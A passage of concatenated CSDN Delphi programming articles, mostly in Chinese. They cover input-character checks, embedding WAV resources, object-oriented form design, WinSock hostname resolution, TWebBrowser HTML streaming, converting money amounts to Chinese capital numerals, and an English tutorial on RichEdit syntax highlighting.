I,J:integer;
begin
{ property Active=true then execute }
if FActive then
begin
{ property CheckTEdit=true then execute }
for I:= 0 to owner.ComponentCount - 1 do
begin
{ Check TEdit }
if (owner.Components[I] is TEdit) and (cTEdit in CheckControls) then
begin
for J :=1 to Length(Trim(FCheckString)) do
begin
if pos(MidStr(Trim(FCheckString),J,1),TEdit(owner.Components[I]).Text)>0 then
begin
ShowMessage('error symbol!');
TEdit(owner.Components[I]).SetFocus;
exit;
end;
end;
end;
{ Check TComboBox }
if (owner.Components[I] is TComboBox) and (cTComboBox in CheckControls) then
begin
for J :=1 to Length(Trim(FCheckString)) do
begin
if pos(MidStr(Trim(FCheckString),J,1),TComboBox(owner.Components[I]).Text)>0 then
begin
ShowMessage('error symbol!');
TComboBox(owner.Components[I]).SetFocus;
exit;
end;
end;
end;
end;
end;
end;

end.

最后要说明一点的是它是用Delphi6写的。

：）


CSDN_文档中心_将WAV文件做到EXE文件的方法及注意事项

将WAVE文件做到EXE文件的方法及注意事项
有关这方面的文章很多，本来我也不想多说，可是最近有的网友说他照着有的文章作了个“工程”，可是怎么也发不出声来，或者就是扬声器的BEEP声。

后来，笔者找到那些资料，照他们的方法也作了一个“工程”；结果和那位网友一样。这到底是为什么呢？

先来说说一般的文章是怎么说的吧。

比较“流行”的说法是：“16位的Delphi 1.0和32位的Delphi2.0、3.0都提供了资源
编译工具，其中 Delphi 1.0的资源编译器叫BRCC.EXE，Delphi 2.0的资源编译器
叫BRCC32.EXE 用来编译32位资源，所有资源编译器都只提供了命令行版本，
没有提供Windows 版本。制作一个资源一般要通过以下几个步骤：

1)编写.RC文件

..RC文件是资源的源文件，编译器也就编译这个文件，生成.RES的
资源文件
首先在我们的项目子目录中建立一个纯文本文件，起名叫
Sound.rc，文件中
有一行，内容为：

SOUND1 WAV SOUND.WAV

其中SOUND.WAV为一个Windows下普通的声音文件

2)编译它

在DOS的提示符下打 BRCC SOUND.RC 硬盘哗啦啦转一会儿后，就编
译完了

3)制作程序

这也是最复杂，最灵活的一步，首先启动Windows, 再启动Delphi，
并且将项目
中的文件保存到我们的项目中的子目录中。 在Unit1.pas中找这么
一行

{$R *.DFM}

把我们的资源文件就声明在后面

{$R SOUND.RES}

然后，在Form1中声明两个全局变量

PtrSound : PChar;
hRes : THandle; {handle to the loaded resource
if 0 indicates nothing playing}

再在Form1的Create事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);
var hResInfo : THandle;
begin
hResInfo := FindResource(HInstance, 'SOUND1', 'WAVE');
hRes := LoadResource(HInstance, hResInfo);
if hRes ＞ 32 then {its a good load}
begin {lock the resource}
ptrSound:=LockResource(hRes);
end;
end;

然后在Form1中放一个按钮Button1，写如下代码：

procedure TForm1.Button1Click(Sender: TObject);
begin
sndplaysound(ptrSound,snd_async or snd_Memory);
end;
这时候就可以运行了。”

是真的吗？

其实，资源文件的文件名就根本不能和WAVE文件的一样，否则，呵呵，扬声器就要BEEP啦，不信你试试看。

下面笔者写出可以运行源代码的步骤（当然您的资源文件不能有错的）：

1)编写.RC文件

..RC文件是资源的源文件，编译器也就编译这个文件，生成.RES的资源文件 首先在我们的项目子目录中建立一个纯文本文件，起名叫
pad.rc ,在文件中写一行，内容为：//注意！资源文件名不可以和WAVE文件名一样的！

SOUND1 WAV SOUND.WAV

其中SOUND.WAV为一个Windows下普通的声音文件

2)编译它

在DOS的提示符下打 BRCC32 PAD.RC 一会儿后，就编译完了 //现在已是brcc32啦，不知有的文章怎么还有BRCC？？

3)制作程序

在WINDOWS下启动DELPHI，新建一个项目，将其中的文件保存到我们的项目中的子目录中。 在Unit1.pas中找到

{$R *.DFM}

把我们的资源文件就声明在后面

{$R PAD.RES}

然后，在Form1中声明两个全局变量

PtrSound : PChar;
hRes : THandle; {handle to the loaded resource
if 0 indicates nothing playing}

再在Form1的Create事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);
var hResInfo : THandle;
begin
hResInfo := FindResource(HInstance, 'SOUND1', 'WAVE');
hRes := LoadResource(HInstance, hResInfo);
if hRes ＞ 32 then {its a good load}
begin {lock the resource}
ptrSound:=LockResource(hRes);
end;
end;

然后在Form1中放一个按钮Button1，写如下代码：

procedure TForm1.Button1Click(Sender: TObject);
begin
sndplaysound(ptrSound,snd_async or snd_Memory);
end;

点击编译，运行，再按BUTTON1，可以听到扬声器中发出WAVE文件内容。

这样，一个小工程就完成了。快试试吧！


CSDN_文档中心_将面向对象的思想贯穿始终--谈Delphi开发（第二篇）

(接第一篇)

将面向对象的思想贯穿始终，这个题目好象有些大了。我刚才在这里说的，提到的，其实只是在编码的时候，应当注意的一些小问题。所以’贯穿始终’这个用语，改为’牢记在心’可能更为贴切。

对于Delphi某些特性的一点意见：

不知各位注意到没有，在Delphi的Form中放置的所有组件（包括控件），对于其他Form来说，都是可见的，准确地说，这些组件都是该Form的Public部分的内容。这样的结果，一方面是好的，因为其灵活性，其他类可以方便的引用Form上的这些组件，设置它们的属性，执行它们的方法，事件等等；但是另一方面它的缺陷也是显而易见的，那就是导致了Form的封装性的丧失。在我看来，放置于Form之上的这些组件，就使用者的本意而言，应当是作为该Form的私有属性而存在的，对于其他类或其他Form本应该不可见。即使需要访问它们，也应当通过由Form提供一系列的属性方法来间接的访问。

举个例子，让大家有些感性的认识：

procedure TForm1.Button1Click(Sender: TObject);

begin

Form2.Edit1.Text := 'abc'; // <-- 这个句子的写法，本人很不赞同。

end;

可能很多人写这样的代码的时候脑子里还没有封装性的概念，可是你看了这篇文章，就再也不要干这样的事了(改邪归正吧你!)。在我看来TForm1就是TForm1,TForm2就是TForm2，它们都是为了实现某些特定的功能而存在的，所以它们提供给外界一些接口(一些属性，方法，还有事件,事件说严格一点，也是属性)，来实现它们自己所承诺的功能。至于这些接口的具体实现，应当由它们自身来维护，外界没有必要，也没有办法插手。这个思想，对应到实际应用中，也就是Form2.Edit1是否有必要被From1直接访问的问题了。我本人比较倾向于下面的实现：

//以下为Unit1中TForm1的部分内容

procedure TForm1.Button1Click(Sender: TObject);

begin

TForm2(FAnotherForm).EditText := 'abc'; // <-- 这个实现，体现了封装的思想

end;

//以下为Unit2中TForm2的定义

type

TForm2 = class(TForm)

Edit1: TEdit;

private

function GetEditText: string;

procedure SetEditText(const Value: string);

public

property EditText: string read GetEditText write SetEditText;

// <-- 我的推荐用法；

end;

……

function TForm2.GetEditText: string;

begin

result := Edit1.Text;

end;

procedure TForm2.SetEditText(const Value: string);

begin

if Value <> EditText then

Edit1.Text := Value;

end;

这里的FAnotherForm是TForm1的一个私有属性，它是指向TForm2的一个实例的指针（这个用法在第一篇里做了强调）。访问TForm2的EditText 属性，而不是鲁莽的直接访问TForm2的Edit1.Text，体现了一种思想，那就是分工协作的思想，那就是独立自主的思想，也就是封装性的思想。

（未完，待续）

更多文章


CSDN_文档中心_将面向对象的思想贯穿始终--谈Delphi开发（第三篇）

(《将面向对象的思想贯穿始终-谈Delphi开发》之第三篇)

前两篇讨论的是有关封装性的话题。这里，想和您说说关于继承和多态。

继承和多态是密切相关的。Object Pascal引入了一种多态的机制，叫重载(Overload)，它的思想与面向对象关系不大，这里不作讨论。与面向对象思想密切相关的多态是我们着重要讨论的。

多态依赖于抽象方法以及虚方法的概念，同时也和继承密切相关。以为我们往往定义一些底层的对象，然后将其某些实现定义为抽象的，也就是说我们仅仅定义了接口，而没有定义具体的实现细节。按照这样的思路，我们还会定义多个派生（继承）的对象，在这些对象中真正实现那些在祖先类中未曾实现的细节。这就使得我们先前定义的底层类，具有多态的特性。这种机制的好处在于，我们使用这些类的时候，只要一套代码，就可以完成多种功能。而唯一需要改变的就是创建对象的实例的那一部分。

观察这样的一个类：

TStream = class(TObject)

……

public

function Read(var Buffer; Count: Longint): Longint; virtual; abstract;

function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

……

end;

virual以及abstract保留字表明了Read以及Write方法是纯虚函数。这表明TStream这个类并不能被真正使用（不能创建该类的实例），它只是一个类似于接口的类，它定义了作为TStream类应当具备以及需要处理的基本功能。而且它还规定，其他从TStream类派生出的类，必须去实现的功能（如Read以及Write等）。

举例来说，TFileStream，以磁盘文件应用的方式实现了TStream类；而TMemoryStream则以内存应用的方式实现了TStream类。现在假设有一个类TMyClass提供一个SaveToStream的方法：

TMyClass = Class(TObject)

procedure SaveToStream(Stream: TStream);

end;

则应用多态的思想，可以有这样的代码：

var

strm: TStream;

MyClass: TMyClass;

begin

strm := TFileStream.Create(‘abc.txt’); // ß 此处Stream的真正实例类型是TFileStream

MyClass := TMyClass.Create;

MyClass.SaveToStream(strm);

…..

end;

而要将MyClass的内容存放到内存中，只需改变

strm := TFileStream.Create(‘abc.txt’);

为:

strm := TMemoryStream.Create;

即可。

多态的使用是需要两方面的工作，其一当然是类的构架中考虑到了多态，能够提供实现某种功能的中间类（抽象类）；其二，是懂得去运用这些中间类，这个工作体现在定义一些过程，函数的参数上。

另外很重要的一点，我想提醒大家的是，类的规划是很重要的，在面向对象编程的时代，类的框架很大程度上决定了程序的框架，决定了软件开发的成败。结构清楚，层次分明的类构架，不仅易于功能划分与扩展，同时也更易于代码的维护。而在这之中，应用继承和多态的思想，引入抽象类，引入中间类，是较为可取的一种方法。

以下列出Delphi中提供的一部分抽象类与具体类：

抽象类 派生的具体类

TStream TFileStream，TMemoryStream；

TCustomIniFile TIniFile, TMemIniFile，TRegistryIniFile；

TStrings TStringList，TMemoStrings，TListBoxStrings；

还有很多，等待你我去发现。这里最常用的是TStream,而最令我惊异的是TCustomIniFile，它的TRegistryIniFile允许你用访问IniFile的方式来访问注册表！这使得我可以用一套代码，实现写注册表和写Ini文件的功能。这其中的技术虽然简单，但是它的意义非同凡响！

（未完，待续）

更多文章


CSDN_文档中心_将面向对象的思想贯穿始终--谈Delphi开发（第一篇）

国内有许多人将Delphi作为首选的开发工具。其原因当然是因为Delphi给开发者提供了诸多特性：面向对象的开发，可视化界面设计，组件丰富，多平台的可移植性(Delphi6的新特性）。

可是对于初学者来说，面向对象的思想可能并不是Delphi给其带来的最大的感受。而可视化的界面设计，丰富多样的可用组件反而给其留下最深刻难忘的印象。由此带来的严重的后果是，初学者往往在很长一段时间里，只将注意力集中在Delphi提供的现有的VCL组件的使用上，而忽视去思考面向对象的思想对于Delphi的整个组件构架体系所蕴含的意义。

下面的一段代码，包含了一个最常见的，也是初学者最易犯的一个错误，这个错误虽然不是语法错误，但是却显露出使用者的面向对象的思想还有待加强：

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(Form1.Caption); // <-- 这里的Form1的使用就有些问题。
end;

这样的代码，粗看看好像没有什么错。但是，这里Form1的出现就有些说不过去了。明明这里的代码，写的是TForm1的ButtonClick方法的实现，而Form1作为TForm1类的一个实例，居然被写死到类的实现中，难道不是有些概念混乱吗?要改成符合面向对象思想的，也很简单，可以有两种写法：

1. ShowMessage(Self.Caption); // <-- 这种写法非常明确，即将要Show的信息是类的当前实例的Caption

2. ShowMessage(Caption); // <-- 这里的写法和上述的雷同，省略了关键字Self；

面向对象思想的三大核心内容是封装，继承，多态。而上述例子暴露的问题就是封装的问题。类似的例子还有：

var

Form1: TForm1;

......

var

Form2: TForm2;

procedure TForm1.Button1Click(Sender: TObject);

begin

Form2.Show; // <-- 作为一个全局的变量，Form2在这里的使用同样让人觉得混乱。

end;

上述的例子，可能更具有普遍性吧，对于大多数情况，在一个工程中，TForm1，和TForm2只可能各只有一个实例，所以这样的代码也算马马虎虎通过。但是从严格意义上来说，也是不符合封装性的要求。参照如下代码：

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
FNext: TForm;
public
{ Public declarations }
property NextForm: TForm read FNext write FNext;
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
if Assigned(FNext) then
TForm2(FNext).Show;
end;

end.

// 以下是工程文件中的内容：

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);

Form1.NextForm := Form2; // <-- 增加这么一句，勉强让代码符合封装的要求了

Application.Run;
end.

将Form2指针，作为Form1的一个属性，传递给Form1，这样，Form1在调用的时候，才遵守了封装性的原则！当然，这些代码仅仅是为了体现封装的思想，而在实际中，可以依个人的习惯来决定是否真的要实现的这么彻底。但是这种思想，应当在脑子里扎根......（未完，待续）。

更多文章


CSDN_文档中心_将某一主机域名解析为IP地址。

将某一主机域名解析为IP地址。
使用 WinSock 单元；
过程如下：
function HostToIP(Name: string; var Ip: string): Boolean;
var
wsdata : TWSAData;
hostName : array [0..255] of char;
hostEnt : PHostEnt;
addr : PChar;
begin
WSAStartup ($0101, wsdata);
try
gethostname (hostName, sizeof (hostName));
StrPCopy(hostName, Name);
hostEnt := gethostbyname (hostName);
if Assigned (hostEnt) then
if Assigned (hostEnt^.h_addr_list) then begin
addr := hostEnt^.h_addr_list^;
if Assigned (addr) then begin
IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
byte (addr [1]), byte (addr [2]), byte (addr [3])]);
Result := True;
end
else
Result := False;
end
else
Result := False
else begin
Result := False;
end;
finally
WSACleanup;
end
end;

测试时请在在线状态。

测试代码：
var
IP: string;
DNS: string;
begin
DNS := InputBox('输入DNS域名', '主机名称：', '');
if HostToIp(DNS, IP) then showmessage(IP);
end;
作者：Latfi Baran


CSDN_文档中心_将网页内容保存为字符串以及根据字符串显示成网页

经常看到有人在论坛里问，如何将网页内容保存为字符串以及根据字符串显示成网页。这里说说我的看法。

将网页内容保存为字符串很简单，只需(webbrowser1.Document as Ihtmldocument2).body.outerHtml一句就可得到网页的html源码，一个WideString型。如果考虑到要等ie下载完整个网页后再保存为string可以这样写（在窗体中放置了一个memo控件以查看该页面的html源码）。

procedure tatonreg.readdocument;
var
IpStream: IPersistStreamInit;
MemoryStream: TMemoryStream;
begin
ie为twebbrowser控件或为一个twebbrowser实例
with ie do begin
while (ReadyState <> READYSTATE_COMPLETE) and (not forms.Application.Terminated) do
Forms.Application.ProcessMessages;
if Assigned(document) then begin
MemoryStream := TMemoryStream.Create;
try
IpStream := document as IPersistStreamInit;
if not Assigned(IpStream) then showmessage('错误') else
if Succeeded(IpStream.save(TStreamadapter.Create(A), TRUE))
then begin
MemoryStream.Seek(0, 0);
memo1.lines.LoadFromStream(A);
end;
except
end;
MemoryStream.Free;
end;
end;
end;

程序运行后memo1.text就是该网页的源码了。
twebbrowser控件不能直接根据字符串显示成网页，必须先把string转成stream。

procedure tatonreg.loaddocument;
var
m:tmemorystream;
begin
M := TMemoryStream.Create;
memo1.Lines.SaveToStream(M);
M.seek(0, 0);
if not Assigned(ie.document) then begin
ie.navigate('about:blank');
while ie.readystate <> READYSTATE_COMPLETE do Forms.Application.ProcessMessages;
end;
(ie.Document as IPersistStreamInit).Load(TStreamadapter.Create(M));
end;

我做了一个这类的软件，可到我的个人主页上下载http://aton.126.com
这段时间我对ie编程产生了浓厚的兴趣。大有不精通这类编程誓不罢休之势。欢迎感兴趣着与我共同探讨。


CSDN_文档中心_将小写数字金额转成大写金额

procedure TfmBMZC.BitBtn2Click(Sender: TObject); //金额转换
const
chNum : array[0..9] of string = ('零','壹','贰','叁','肆','伍','陆','柒','捌','玖');
chBit : array[0..3] of string = ('圆','拾','佰','仟');
var
y, m, d : Word;
s : string;
len, n , tmp: integer;
bIsZero : Boolean;
begin
DecodeDate(Date, y, m, d);
jfjeChange();
with fmPrint do begin
qrYear.Caption:=IntToStr(y);
qrMonth.Caption:=IntToStr(m);
qrDay.Caption:=IntToStr(d);

qrName.Caption:=EdName.Text;

qrXMoney.Caption:=jf;

//对照表生成小写金额的大写
bIsZero:=false;
n:=Pos('.', jf); //小数点前的处理
if n=0 then
len:=Length(jf)
else
len:=n-1;
for n:=1 to len do begin
tmp:=StrToInt(jf[n]);
if tmp=0 then begin
if n<len then
bIsZero:=true
else if n=len then
s:=s + chBit[len-n];
end
else begin
if bIsZero then begin
s:=s+chNum[0]+chNum[tmp] + chBit[len-n];
bIsZero:=false;
end
else
s:=s+chNum[tmp] + chBit[len-n];
end;
end;

if Length(jf)>len then begin //小数点后的处理
if len+2<=Length(jf) then begin
tmp:=StrToInt(jf[len+2]);
if tmp=0 then
s:=s+'零'
else
s:=s+chNum[tmp]+'角';
end;
if len+3<=Length(jf) then
s:=s+chNum[StrToInt(jf[len+3])]+'分';
end;
qrDMoney.Caption:=s;

qrShow.Caption:='辅修报名注册费。';

qrHandler.Caption:='僧格淋沁';

QuickRep1.Preview;
end;
end;

procedure TfmBMZC.jfjeChange(); //对输入框中内容的控制
var
tmp : string;
begin
//计算"缴费金额"
jf:=Trim(Copy(mEdJFJE.Text, 1, 4));
if jf='' then //"元"为空
jf:='0';

tmp:=Trim(Copy(mEdJFJE.Text, 7, 1));
if tmp='' then begin file://"角"为空
tmp:=Trim(Copy(mEdJFJE.Text, 10, 1));
if tmp<>'' then //填写了"分"
jf:=jf+'.0'+tmp;
end
else begin //填写了"角"
jf:=jf+'.'+tmp;
tmp:=Trim(Copy(mEdJFJE.Text, 10, 1));
if tmp<>'' then //填写了"分"
jf:=jf+tmp;
end;

jf:=FloatToStr(StrToFloat(jf));
end;

end.


CSDN_文档中心_讲述如何开发一个控件,很有价值(二)

would be divided up into:

procedure | tsKeyWord
 | tsSpace
TForm1 | tsIdentifier
. | tsSymbol
FormCreate | tsIdentifier
( | tsSymbol
Sender | tsIdentifier
: | tsSymbol
TObject | tsIdentifier
); | tsSymbol
 | tsSpace
{Create Form} | tsComment
<CR><LF> | tsCRLF

How is it Done?

The RichEdit control normally loads preformatted text from .RTF files by way of by of the RichEdit.Lines.LoadFromFile() function. YourPasEdit uses the RichEdit.Lines.LoadFromStream() function to load the file from a TPasConversion - a custom TMemoryStream descendant. This stream takes the plaint text Pascal source file, loads it into its internal memory buffe, and then converts it from plain text to a text impregnated with RTF codes. This way when it is loaded into the RichEdit control via RichEdit.Lines.LoadFromStream the Pascal source file appears in the control color-syntax highlighted.

To the main Editor, this process is transparent - the code looks something like this:

begin

    NewRichEdit := TRichEdit.Create;

    PasCon.Clear;                    // Prepare the TPasConversion
    PasCon.LoadFromFile(FName);      // Load the File into the Memory Stream
    PasCon.ConvertReadStream;        // Convert the stream to RTF format

    NewRichEdit.Lines.BeginUpdate;
    NewRichEdit.Lines.LoadFromStream(PasCon);   // Read from the TPasConversion
    NewRichEdit.Lines.EndUpdate

    NewRichEdit.Show;

    Result  := NewRichEdit;

end

EXAMPLE - snippet of code from the NewRichEditCreate(Fname) routine

As I said, it is the TMemoryStream derived TPasConversion which does all the hard work:

<SOURCE PASCAL FILE>
|
V
Plain source loaded into memory
(TPasConversion.LoadFromFile)
|
V
Converted internally by parsing the source file
(ConvertReadStream)
|
V
Result made available
(SetMemoryPointer)
|
V
RichEdit.LoadFromStream

Most of the work in TPasConversion is done by the ConvertReadStream procedure. Its purpose is to split up each line of source code into tokens (as showed previously) and then depending on its TokenType, load it into the outbuffer preceded by RTF codes to make it a particular Color, Bold, Italics etc. Here what it looks like:

// prepare the Outbuf to a certain default size

FOutBuffSize:= size+3;
ReAllocMem(FOutBuff, FOutBuffSize);

// Initialise the parser to its begining state

FTokenState  := tsUnknown;
FComment     := csNo;
FBuffPos     := 0;
FReadBuff    := Memory;

// Write leading RTF Header

WriteToBuffer('{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS SansSerif;}
{\f1\froman\fcharset2 Symbol;}{\f2\fmodern Courier New;}}'+#13+#10);
WriteToBuffer('{\colortbl\red0\green0\blue0;}'+#13+#10);
WriteToBuffer('\deflang1033\pard\plain\f2\fs20 ');

// Create the INSTREAM (FReadBuff) and tokenize it

Result:= Read(FReadBuff^, Size);
FReadBuff[Result] := #0;

if Result > 0 then
begin

     Run:= FReadBuff;
     TokenPtr:= Run;

     while Run^ <> #0 do
     begin

          Case Run^ of

          #13:                        // Deal with CRLFs
          begin
             FComment:= csNo;
             HandleCRLF;
          end;

          #1..#9, #11, #12, #14..#32: // Deal with various whitespaces, control codes
          begin
             while Run^ in [#1..#9, #11, #12, #14..#32] do inc(Run);
             FTokenState:= tsSpace;
             TokenLen:= Run - TokenPtr;
             SetString(TokenStr, TokenPtr, TokenLen);
             SetRTF;
             WriteToBuffer(Prefix + TokenStr + Postfix);
             TokenPtr:= Run;
          end;

          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
           ~~~~~  much code removed   ~~~~~~~~~~
          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     end;

end

EXAMPLE - snippet showing the while loop that breaks up the INSTREAM into recognised tokens

Most of the work is done by the [case Run^ in ... end;] section which "breaks off" a token from the INSTREAM (FReadBuf) based on the logic in the case statement. The case statement is organised in such a way that it can quickly decipher the input stream into the various TokenTypes by examining each character in turn. Having worked out which tokentype it is, the actual encoding part is relatively easy:

FTokenState:= tsSpace;
TokenLen:= Run - TokenPtr;
SetString(TokenStr, TokenPtr, TokenLen);
ScanForRTF;
SetRTF;
WriteToBuffer(Prefix + TokenStr + Postfix);
EXAMPLE - basic steps in encoding the output stream of the TPasConversion object

What’s happening here is the program:

  • sets FTokenState to what we believe it is (in this part of the code it is tsSpace which matches any series of Whitespaces)
  • the length of the token is calculated by working out how far the current memory pointer (Run) has moved since we finished with the last token (TokenPtr).
  • the token is then copied from the Input buffer from the starting position of it in the memory buffer (TokenPtr) for the length of the token, into the variable TokenStr.
  • ScanForRtf just checks through the resultant TokenStr to ensure it doesn't have any funny characters that the RichEdit would confuse as RTF commands. If it finds any, it escapes them out.
  • SetRTF looks at the FTokenState to populate two global variables Prefix and Postfix with the appropriate RTF codes to give the token the right Color,Font,Boldness.
  • WriteToBuffer than simply puts the TokenStr with the Prefix and Postfix around it into the output buffer, and the loop then continues on.

Back to the topic: Syntax Highlighting (on-the-fly)

No source code is necessarily 100% applicable to your needs. I was fortunate in that most of the parser applied to my 4GL command syntax (e.g Strings were strings, Numbers were numbers, similar Keywords). As well YourPasEditor had implemented most of the basic accessory tasks such as Printing, Find, Find and Replace, Multi-File editing. It was just a matter of adding in the extras I was after.

PROBLEM #1 - No colours or fonts

One task the Parser didn't fully implement was Colors or Different Fonts, or even fonts sizes. The reason for this (after some trial and error) was that the SetRTF procedure new nothing about how to do this. It only used the information in regards [Bold], [Italics] and [Underline] stored in the Win95 Registry for the Delphi Editors Settings to determine how to highlight each token. As for fonts - well I hadn't realised that the Delphi Editor actually uses only one Font and Fontsize for all the different tokens - so that wasn't Pas2Rtf fault. I was just being greedy.

Luckily the comments in Pas2Rtt.pas told me what the other values in the Registry coded for, especially where the important foreground color was stored. This meant some changes to:

1. procedure SetDelphiRTF(S: String; aTokenState: TTokenState);

Add after the try;

           Font.Color := StrToInt(Ed_List[0]);

2. procedure TPasConversion.SetPreAndPosFix

Add after FPreFix[aTokenState] = '';

           FPreFixList[aTokenState] := ColorToRtf(aFont.Color);

The ColorToRtf codes is already present, but hadn't been used for some reasone. If you try it out you'll understand why :-). You get absolutely no change except lots of ';' in the wrong place.Change the ';' to '(space)' in ColorToRtf(), and you get rid of the ';' appearing in the RichEdit control, but no Colors anyway.

My first thought was that the value in Ed_List[0] didn't convert to a proper Font.Color. The easiest way to test this was to hard code Font.Color := clGreen; and see what happens. Again no luck. The format was consistent with the RTF codes I could see in the RTF header. What the $#%#$%# was wrong with it ?

It was about then that I realised I needed a crash course in RTF document structure. For this I rushed off to www.microsoft.com (please forgive me) and found a reference on RTF. After an hour of reading a Microsoft Technical Document I was even more confused. Oh well - this meant it was time to get dirty. Time to get down to real programmer stuff. Time to "cheat".

What did I do? I went into WordPad (which is just a glorified RichEdit version 2.0 on steroids) and saved various files into RTF format. I then opened them in NotePad so I could see the RTF codes and compare what happened in each case: what codes were produced depending on what I did, or didn't do. A similar sort of technique was used back in the 1980s to decipher the first Paradox database format :-) Sorry Borland.


CSDN_文档中心_讲述如何开发一个控件,很有价值(六)

ASH - Automatic Syntax highlight (Attempt 2)

[Please note: I have my Delphi Editor colors set-to the [Ocean] colour speed settings for testing purposes. This setting works well on the default RichEdit white background, and most TokenTypes are in different colors from each other]

Okay now to do some real work. Most of the function have been written thereabouts. As a basis for writing this ASH I'm going to use Project1.dpr which comes out of mpas2rtf.zip in the YourPasEdit zip file yrpasedit.zip. This is because it much smaller than YourPasEdit, and thus quicker to compile.

I suggest you put the contents of the mpas2rtf.zip into a separate directory. Also copy mwPas2Rtf.pas to testinput.pas using the Explorer shell - we'll be using this file as a sample pascal file for benchmarking.

Open Project1.dpr in Delphi, compile Project1, run it, and open the file testinput.pas by pressing [Button 1] and selecting it in the [OpenFile Dialog]. Do it a number of times, and record the time taken for each once the file is stabilised in the system cache. On my system it averages about 0.47 - 0.41 seconds once its in the cache (P133 - 16M - Win95b)

Preparing Project1's Unit1.pas

Now replace the contents of mpas2rtf.pas with that code in jhdpas2rtf.pas. Recompile. Now open up the testinput.pas sample file again by using [Button 1]. As you see - we get color - but it takes a "lot" longer: 1.20-1.25 seconds.

Try and speed it up if you like. You can start by commenting out the pascal-code that codes in the different Font and FontSizes in TPasConversion.SetRtf. Recompile and run again. This time it improves a bit to 1.10-1.15. Now try commenting out the code for different Colors. Wow - the speed decreases down to 0.49 - 0.44.

Hmm. This font and color stuff really packs a punch. We may need to look at this later in more detail if things end up too slow. For the moment we'll leave the code back in full working condition (so you'll need to go back and uncomment the code).

Now put the following base code into the [OnChange] event of the RichEdit1 in Unit1.pas of Project1. Most of this code is just based on what we have already covered elsewhere.

procedure TForm1.RichEdit1Change(Sender: TObject);

var

WasSelStart,WasRow,Row,BeginSelStart,EndSelStart: Integer;
MyRe: TRichEdit;
MyPBuff: array[0..255] of char;

begin

MyRe             := TRichEdit(Sender);
WasSelStart      := MyRE.SelStart;
WasRow           := MyRE.Perform(EM_LINEFROMCHAR, MyRE.SelStart, 0);
BeginSelStart    := MyRe.Perform(EM_LINEINDEX, Row, 0);
EndSelStart      := BeginSelStart + Length(MyRE.Lines.Strings[Row]);
Row              := WasRow;

end;

Were going to use the GetToken() function to do all the hard work. We'll need some extra variables to pass to the GetToken function, so add to the var section:

MyTokenStr:string;
MyTokenState:TTokenState;
MyRun:PChar;
MySelStart: Integer;

These are similar to the variables we used in the ConvertReadStream - in fact we want to do "exactly" the same thing, just one single line at a time. Add this code before the last end;

StrPCopy(MyPBuff,MyRE.Lines.Strings[Row]);
MYPBuff[Length(MyRE.Lines.Strings[Row])] := #0;
MySelStart := BeginSelStart;
MyRun := MyPBuff;

while(MyRun^ <> #0) do
begin

MyRun := PasCon.GetToken(MyRun,MyTokenState,MyTokenStr);

//
// ScanForRtf;
// SetRtf;
// WriteBuffer(Prefix + TokenStr + Postfix);
//

end;

end;

NB: As we will be using PasCon you'll have to move it from being a local variable of TForm1.Button1Click to be a global variable. This will mean you'll have to move all the initialising:

PasCon:=TPasConversion.Create;
PasCon.UseDelphiHighlighting(3);

to a TForm1.Show, and the PasCon.Free to TForm1.Close procedure. It will still work if you only move the variable definition - but not for long... :-)

I've left the code from the old ConvertReadStream in the example above to show what we "logically" still need to implement in the current context - that is manipulating the RichEdit Control directly. What we have now is the ability to cut up the current line in to different tokens, and know what type they are. We now have to add these tokens to current line with the right attributes (Fonts,Colors,Bold etc).

But wait. They are already on the line - well the text is anyway, but maybe not in the correct format (Color,Bold etc). So what actually could do is to select each token in its corresponding positon in the RichEdit control and just apply the appropriate attributes to them.

We did this back in the beginning remeber? When we set the >10 character lines to the color red. But how do we do this now? Lets look at what we have in the variables at hand when we hit "// SetRtf" the first time:

(these example uses Uni1.pas as the input file as its more interesting)

VARIABLES | 01234567901234567890
Lines.Strings[R0] | unit Unit1;
MyPBuff | unit Unit1;
MyTokenState | tsIdentifier
MyTokenStr | unit
MyRun | Unit1;

So what we need to do is select the word 'unit' in the RichEdit control, and set its attributes. We do this by setting SelStart to the position of 'unit' in the RichEdit control, and SelLength to the length of the word 'unit'. And since 'unit' is at the beginning of the current line - thats position is BeginSelStart (which I conveninently have stored in MySelStart - you'll see why). Lets replace the "pseudo" comment code with the following:

MyRe.SelStart := MySelStart;
MyRe.SelLength := Length(MyTokenStr);
MyRe.SelAttributes.Assign(PasCon.FParseFont[MyTokenState]);

end;

But remember we are in a loop - when we go around again we'll have the next token in the line, and the variables will look like this:

VARIABLES | 01234567901234567890
Lines.Strings[R0] | unit Unit1;
MyPBuff | unit Unit1;
MyTokenState | tsSpace
MyTokenStr | (space character)
MyRun | Unit1;

But (space character) isn't at BeginSelStart (#0) in the RichEdit control. Its further along (at position #4). Which just happens to be BeginSelStart + Length('unit'). We need to update MySelStart after we process the preceeding token, but before we go around the loop again:

MySelStart := MySelStart + Length(MyTokenStr);

end;

Okay - this is where we are standing at the moment:

procedure TForm1.RichEdit1Change(Sender: TObject);

var

WasSelStart,WasRow,Row,BeginSelStart,EndSelStart: Integer;
MyRe : TRichEdit;
MyPBuff: array[0..255] of char;
MyTokenStr:string;
MyTokenState:TTokenState;
MyRun:PChar;
MySelStart: Integer;

begin

MyRe := TRichEdit(Sender);

WasSelStart    := MyRE.SelStart;
WasRow         := MyRE.Perform(EM_LINEFROMCHAR, MyRE.SelStart, 0);
Row            := WasRow;
BeginSelStart  := MyRe.Perform(EM_LINEINDEX, Row, 0);
EndSelStart    := BeginSelStart + Length(MyRE.Lines.Strings[Row]);

StrPCopy(MyPBuff,MyRE.Lines.Strings[Row]);
MyPBuff[Length(MyRE.Lines.Strings[Row])] := #0;

MySelStart   := BeginSelStart;
MyRun        := MyPBuff;

while(MyRun^ <> #0) do
